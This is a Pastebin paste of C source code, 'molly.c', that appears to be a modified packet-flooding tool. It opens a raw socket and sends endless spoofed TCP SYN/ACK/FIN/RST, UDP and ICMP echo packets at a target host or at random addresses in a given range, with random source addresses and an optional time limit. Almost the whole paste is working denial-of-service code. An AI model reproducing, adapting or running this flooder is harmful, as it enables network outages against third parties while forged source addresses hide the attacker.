Advertisement
Guest User

molly.c

a guest
Apr 19th, 2015
1,023
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 12.89 KB | None | 0 0
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <unistd.h>
  4. #include <netdb.h>
  5. #include <sys/types.h>
  6. #include<stdio.h>
  7.  
  8. #ifdef F_PASS
  9. #include <sys/stat.h>
  10. #endif
  11.  
  12. #include <netinet/in_systm.h>                                                  
  13. #include <sys/socket.h>
  14. #include <string.h>
  15. #include <time.h>
  16.  
  17. #ifndef __USE_BSD
  18. #   define __USE_BSD
  19. #endif
  20.  
  21. #ifndef __FAVOR_BSD
  22. #   define __FAVOR_BSD
  23. #endif
  24.  
  25. #include <netinet/in.h>
  26. #include <netinet/ip.h>
  27. #include <netinet/tcp.h>
  28. #include <netinet/udp.h>
  29. #include <netinet/ip_icmp.h>
  30. #include <arpa/inet.h>
  31.  
  32.  
  33. #ifdef LINUX
  34. #   define FIX(x)  htons(x)
  35. #else
  36. #   define FIX(x)  (x)
  37. #endif
  38.  
  39.  
  40. /* Geminid attack flags */
  41. #define TCP_ACK         1
  42. #define TCP_FIN         2
  43. #define TCP_SYN         4
  44. #define TCP_RST         8
  45. #define UDP_CFF        16
  46. #define ICMP_ECHO_G    32
  47. #define TCP_NOF        64 /* -N */
  48.  
  49. /* No flag attack */
  50. #define TH_NOF         0x0
  51.  
  52. #define TCP_ATTACK()    (a_flags & TCP_ACK ||\
  53.                          a_flags & TCP_FIN ||\
  54.                          a_flags & TCP_SYN ||\
  55.                          a_flags & TCP_RST ||\
  56.                          a_flags & TCP_NOF)
  57.  
  58.  
  59. #define UDP_ATTACK()    (a_flags & UDP_CFF)
  60. #define ICMP_ATTACK()   (a_flags & ICMP_ECHO_G)
  61.  
  62.  
  63. #define CHOOSE_DST_PORT() dst_sp == 0 ?\
  64.                           random ()   :\
  65.                           htons(dst_sp + (random() % (dst_ep -dst_sp +1)));
  66.  
  67.  
  68. #define CHOOSE_SRC_PORT() src_sp == 0 ?\
  69.                           random ()   :\
  70.                           htons(src_sp + (random() % (src_ep -src_sp +1)));
  71.  
  72.  
  73. #define SEND_PACKET()   if (sendto(rawsock,\
  74.                                    &packet,\
  75.                                    (sizeof packet),\
  76.                                    0,\
  77.                                    (struct sockaddr *)&target,\
  78.                                     sizeof target) < 0) {\
  79.                                         perror("sendto");\
  80.                                         exit(-1);\
  81.                         }
  82.  
  83.  
  84.  
  85. /* Linux / SunOS x86 / FreeBSD */
  86. //#define BANNER_CKSUM 54018
  87.  
  88. /* SunOS Sparc */
  89. #define BANNER_CKSUM 723
  90.  
  91.  
  92. u_long lookup(const char *host);
  93. unsigned short in_cksum(unsigned short *addr, int len);                        
  94. static void inject_iphdr(struct ip *ip, u_char p, u_char len);
  95. char *class2ip(const char *class);
  96. static void send_tcp(u_char th_flags);
  97. static void send_udp(u_char garbage);
  98. static void send_icmp(u_char garbage);
  99. char *get_plain(const char *crypt_file, const char *xor_data_key);
  100. static void usage(const char *argv0);
  101.  
  102.  
  103. u_long dstaddr;
  104. u_short dst_sp, dst_ep, src_sp, src_ep;
  105. char *src_class, *dst_class;
  106. int a_flags, rawsock;
  107. struct sockaddr_in target;
  108.  
  109. /* Self promotion :) */
  110. const char *banner = "";
  111.  
  112. struct pseudo_hdr {         /* See RFC 793 Pseudo Header */
  113.     u_long saddr, daddr;    /* source and dest address   */
  114.     u_char mbz, ptcl;       /* zero and protocol         */
  115.     u_short tcpl;           /* tcp length                */
  116. };
  117.  
  118. struct cksum {
  119.     struct pseudo_hdr pseudo;
  120.     struct tcphdr tcp;
  121. };
  122.  
  123.  
  124. struct {
  125.     int gv; /* Geminid value */
  126.     int kv; /* Kernel value */
  127.     void (*f)(u_char);
  128. } a_list[] = {
  129.  
  130.         /* TCP */
  131.     { TCP_ACK, TH_ACK, send_tcp },
  132.     { TCP_FIN, TH_FIN, send_tcp },
  133.     { TCP_SYN, TH_SYN, send_tcp },
  134.     { TCP_RST, TH_RST, send_tcp },
  135.     { TCP_NOF, TH_NOF, send_tcp }, /* No flag attack */
  136.  
  137.         /* UDP */
  138.     { UDP_CFF, 0, send_udp },
  139.  
  140.         /* ICMP */
  141.     { ICMP_ECHO_G, ICMP_ECHO, send_icmp },
  142.     { 0, 0, (void *)NULL },
  143. };
  144.  
  145.  
  146. int
  147. main(int argc, char *argv[])
  148. {
  149.     int n, i, on = 1;
  150.     int b_link;
  151. #ifdef F_PASS
  152.     struct stat sb;
  153. #endif
  154.     unsigned int until;
  155.  
  156.     FILE *filepointer;
  157.  
  158.     if ((filepointer = fopen("serverStatus.dat", "r")) == NULL)
  159.     {
  160.         filepointer=fopen("serverStatus.dat","w");
  161.         fclose(filepointer);
  162.  
  163.     a_flags = dstaddr = i = 0;
  164.     dst_sp = dst_ep = src_sp = src_ep = 0;
  165.     until = b_link = -1;
  166.     src_class = dst_class = NULL;
  167.     while ( (n = getopt(argc, argv, "T:UINs:h:d:p:q:l:t:")) != -1) {
  168.         char *p;
  169.  
  170.         switch (n) {
  171.             case 'T': /* TCP attack
  172.                        *
  173.                        * 0: ACK
  174.                        * 1: FIN
  175.                        * 2: RST
  176.                        * 3: SYN
  177.                        */
  178.  
  179.                 switch (atoi(optarg)) {
  180.                     case 0: a_flags |= TCP_ACK; break;
  181.                     case 1: a_flags |= TCP_FIN; break;
  182.                     case 2: a_flags |= TCP_RST; break;
  183.                     case 3: a_flags |= TCP_SYN; break;
  184.                 }
  185.                 break;
  186.  
  187.             case 'U': /* UDP attack
  188.                        */
  189.                 a_flags |= UDP_CFF;
  190.                 break;
  191.  
  192.             case 'I': /* ICMP attack
  193.                        */
  194.                 a_flags |= ICMP_ECHO_G;
  195.                 break;
  196.  
  197.             case 'N': /* Bogus No flag attack (TCP)
  198.                        */
  199.                 a_flags |= TCP_NOF;
  200.                 break;
  201.  
  202.             case 's':
  203.                 src_class = optarg;
  204.                 break;
  205.  
  206.             case 'h':
  207.                 dstaddr = lookup(optarg);    
  208.                 break;
  209.  
  210.             case 'd':
  211.                 dst_class = optarg;
  212.                 i = 1; /* neat flag to check command line later */
  213.                 break;
  214.  
  215.             case 'p':
  216.                 if ( (p = (char *) strchr(optarg, ',')) == NULL)
  217.                     usage(argv[0]);
  218.                 dst_sp = atoi(optarg); /* Destination start port */
  219.                 dst_ep = atoi(p +1);   /* Destination end port */
  220.                 break;
  221.  
  222.             case 'q':
  223.                 if ( (p = (char *) strchr(optarg, ',')) == NULL)
  224.                     usage(argv[0]);
  225.                 src_sp = atoi(optarg); /* Source start port */
  226.                 src_ep = atoi(p +1);   /* Source end port */
  227.                 break;
  228.  
  229.             case 'l':
  230.                 b_link = atoi(optarg);
  231.                 if (b_link <= 0 || b_link > 100)
  232.                     usage(argv[0]);
  233.                 break;
  234.  
  235.             case 't':
  236.                 until = time(0) +atoi(optarg);
  237.                 break;
  238.  
  239.             default:
  240.                 usage(argv[0]);
  241.                 break;
  242.         }
  243.     }
  244.  
  245.     /* Checking command line */
  246.     if ( (!dstaddr && !i) ||
  247.          (dstaddr && i) ||
  248.          (!TCP_ATTACK() && !UDP_ATTACK() && !ICMP_ATTACK()) ||
  249.          (src_sp != 0 && src_sp > src_ep) ||
  250.          (dst_sp != 0 && dst_sp > dst_ep))
  251.             usage(argv[0]);
  252.  
  253.     srandom(time(NULL) ^ getpid());
  254.  
  255.     /* Opening RAW socket */
  256.     if ( (rawsock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
  257.         perror("socket");
  258.         exit(-1);
  259.     }
  260.  
  261.     if (setsockopt(rawsock, IPPROTO_IP, IP_HDRINCL,
  262.         (char *)&on, sizeof(on)) < 0) {
  263.             perror("setsockopt");
  264.             exit(-1);
  265.     }
  266.  
  267.     /* Filling target structure */
  268.     target.sin_family           = AF_INET;
  269.  
  270.     /* Packeting! */
  271.     for (n = 0; ; ) {
  272.  
  273.         /* Poor link control handling */
  274.         if (b_link != -1 && random() % 100 +1 > b_link) {
  275.             if (random() % 200 +1 > 199)
  276.                 usleep(1);
  277.             continue;
  278.         }
  279.  
  280.         /* Sending requested packets */
  281.         for (i = 0; a_list[i].f != NULL; ++i) {
  282.             if (a_list[i].gv & a_flags)
  283.                 a_list[i].f(a_list[i].kv);
  284.         }        
  285.  
  286.         /* Attack is finished? Do not check it every time, would eat
  287.          * too much CPU */
  288.         if (n++ == 100) {
  289.             if (until != -1 && time(0) >= until) break;
  290.             n = 0;
  291.  
  292.            
  293.         }
  294.        
  295.     }
  296.  
  297.     remove("serverStatus.dat");
  298. }        
  299.     exit(0);
  300. }
  301.  
  302.  
  303. u_long
  304. lookup(const char *host)
  305. {
  306.     struct hostent *hp;
  307.  
  308.     if ( (hp = gethostbyname(host)) == NULL) {
  309.         perror("gethostbyname");
  310.         exit(-1);
  311.     }
  312.  
  313.     return *(u_long *)hp->h_addr;
  314. }
  315.  
  316.  
  317. #define RANDOM() (int) random() % 255 +1
  318.  
  319. char *
  320. class2ip(const char *class)
  321. {
  322.     static char ip[16];
  323.     int i, j;
  324.  
  325.     for (i = 0, j = 0; class[i] != '\0'; ++i)
  326.         if (class[i] == '.')
  327.             ++j;
  328.  
  329.     switch (j) {
  330.         case 0:
  331.             sprintf(ip, "%s.%d.%d.%d", class, RANDOM(), RANDOM(), RANDOM());
  332.             break;
  333.         case 1:
  334.             sprintf(ip, "%s.%d.%d", class, RANDOM(), RANDOM());
  335.             break;
  336.         case 2:
  337.             sprintf(ip, "%s.%d", class, RANDOM());
  338.             break;
  339.  
  340.         /* Spoofing single host */
  341.         default: strncpy(ip, class, 16);
  342.                  break;
  343.     }
  344.     return ip;
  345. }
  346.  
  347.  
  348. unsigned short
  349. in_cksum(unsigned short *addr, int len)
  350. {
  351.     int nleft = len;
  352.     int sum = 0;
  353.     unsigned short *w = addr;
  354.     unsigned short answer = 0;
  355.  
  356.     /*
  357.      * Our algorithm is simple, using a 32 bit accumulator (sum), we add
  358.      * sequential 16 bit words to it, and at the end, fold back all the
  359.      * carry bits from the top 16 bits into the lower 16 bits.
  360.      */
  361.     while (nleft > 1) {
  362.         sum += *w++;
  363.         nleft -= 2;
  364.     }
  365.  
  366.     /*
  367.      * Mop up an odd byte, if necessary
  368.      */
  369.     if (nleft == 1) {
  370.         *(unsigned char *) (&answer) = *(unsigned char *)w;
  371.         sum += answer;
  372.     }
  373.  
  374.     /*
  375.      * Add back carry outs from top 16 bits to low 16 bits
  376.      */
  377.     sum    = (sum >> 16) + (sum & 0xffff);  /* add hi 16 to low 16 */
  378.     sum   += (sum >> 16);                   /* add carry           */
  379.     answer = ~sum;                          /* truncate to 16 bits */
  380.  
  381.     return answer;
  382. }
  383.  
  384.  
  385. /*
  386.  * Creating generic ip header, not yet ready to be used.
  387.  */
  388. static void
  389. inject_iphdr(struct ip *ip, u_char p, u_char len)
  390. {
  391.  
  392.  
  393.     /* Filling IP header */
  394.     ip->ip_hl             = 5;
  395.     ip->ip_v              = 4;
  396.     ip->ip_p              = p;
  397.     ip->ip_tos            = 0x08; /* 0x08 */
  398.     ip->ip_id             = random();
  399.     ip->ip_len            = len;
  400.     ip->ip_off            = 0;
  401.     ip->ip_ttl            = 255;
  402.  
  403.     ip->ip_dst.s_addr     = dst_class != NULL ?
  404.                             inet_addr(class2ip(dst_class)) :
  405.                             dstaddr;
  406.  
  407.     ip->ip_src.s_addr     = src_class != NULL ?
  408.                             inet_addr(class2ip(src_class)) :
  409.                             random();
  410.  
  411.     /* I know, this is not part of the game, but anyway.. */
  412.     target.sin_addr.s_addr = ip->ip_dst.s_addr;
  413. }    
  414.  
  415.  
  416. static void
  417. send_tcp(u_char th_flags)
  418. {
  419.     struct cksum cksum;
  420.     struct packet {
  421.         struct ip ip;
  422.         struct tcphdr tcp;
  423.     } packet;
  424.  
  425.  
  426.     /* Filling IP header */
  427.     memset(&packet, 0, sizeof packet);
  428.     inject_iphdr(&packet.ip, IPPROTO_TCP, FIX(sizeof packet));
  429.     packet.ip.ip_sum        = in_cksum((void *)&packet.ip, 20);
  430.  
  431.     /* Filling cksum pseudo header */
  432.     cksum.pseudo.daddr      = dstaddr;
  433.     cksum.pseudo.mbz        = 0;
  434.     cksum.pseudo.ptcl       = IPPROTO_TCP;
  435.     cksum.pseudo.tcpl       = htons(sizeof(struct tcphdr));
  436.     cksum.pseudo.saddr      = packet.ip.ip_src.s_addr;
  437.  
  438.     /* Filling TCP header */
  439.     packet.tcp.th_flags     = 0;
  440.     packet.tcp.th_win       = htons(65535);
  441.     packet.tcp.th_seq       = random();
  442.     packet.tcp.th_ack       = 0;
  443.     packet.tcp.th_flags     = th_flags;
  444.     packet.tcp.th_off       = 5;
  445.     packet.tcp.th_urp       = 0;
  446.     packet.tcp.th_sport     = CHOOSE_SRC_PORT();
  447.     packet.tcp.th_dport     = CHOOSE_DST_PORT();
  448.     cksum.tcp               = packet.tcp;
  449.     packet.tcp.th_sum       = in_cksum((void *)&cksum, sizeof(cksum));
  450.     SEND_PACKET();
  451. }
  452.  
  453.  
  454. static void
  455. send_udp(u_char garbage) /* No use for garbage here, just to remain */
  456. {                        /* coherent with a_list[]                  */
  457.     struct packet {
  458.         struct ip ip;
  459.         struct udphdr udp;
  460.     } packet;
  461.  
  462.  
  463.     /* Filling IP header */
  464.     memset(&packet, 0, sizeof packet);
  465.     inject_iphdr(&packet.ip, IPPROTO_UDP, FIX(sizeof packet));
  466.     packet.ip.ip_sum            = in_cksum((void *)&packet.ip, 20);
  467.  
  468.     /* Filling UDP header */
  469.     packet.udp.uh_sport         = CHOOSE_SRC_PORT();
  470.     packet.udp.uh_dport         = CHOOSE_DST_PORT();
  471.     packet.udp.uh_ulen          = htons(sizeof packet.udp);
  472.     packet.udp.uh_sum           = 0; /* No checksum */
  473.     SEND_PACKET();
  474. }
  475.  
  476.  
  477. static void
  478. send_icmp(u_char gargabe) /* Garbage discarded again.. */
  479. {
  480.     struct packet {
  481.         struct ip ip;
  482.         struct icmp icmp;
  483.     } packet;
  484.  
  485.  
  486.     /* Filling IP header */
  487.     memset(&packet, 0, sizeof packet);
  488.     inject_iphdr(&packet.ip, IPPROTO_ICMP, FIX(sizeof packet));
  489.     packet.ip.ip_sum            = in_cksum((void *)&packet.ip, 20);
  490.  
  491.     /* Filling ICMP header */
  492.     packet.icmp.icmp_type       = ICMP_ECHO;
  493.     packet.icmp.icmp_code       = 0;
  494.     packet.icmp.icmp_cksum      = htons( ~(ICMP_ECHO << 8));
  495.     SEND_PACKET();
  496. }
  497.  
  498.  
  499. static void
  500. usage(const char *argv0)
  501. {
  502.  
  503. printf("Fabio is a god");
  504.  
  505.  
  506.  
  507.     exit(-1);
  508. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement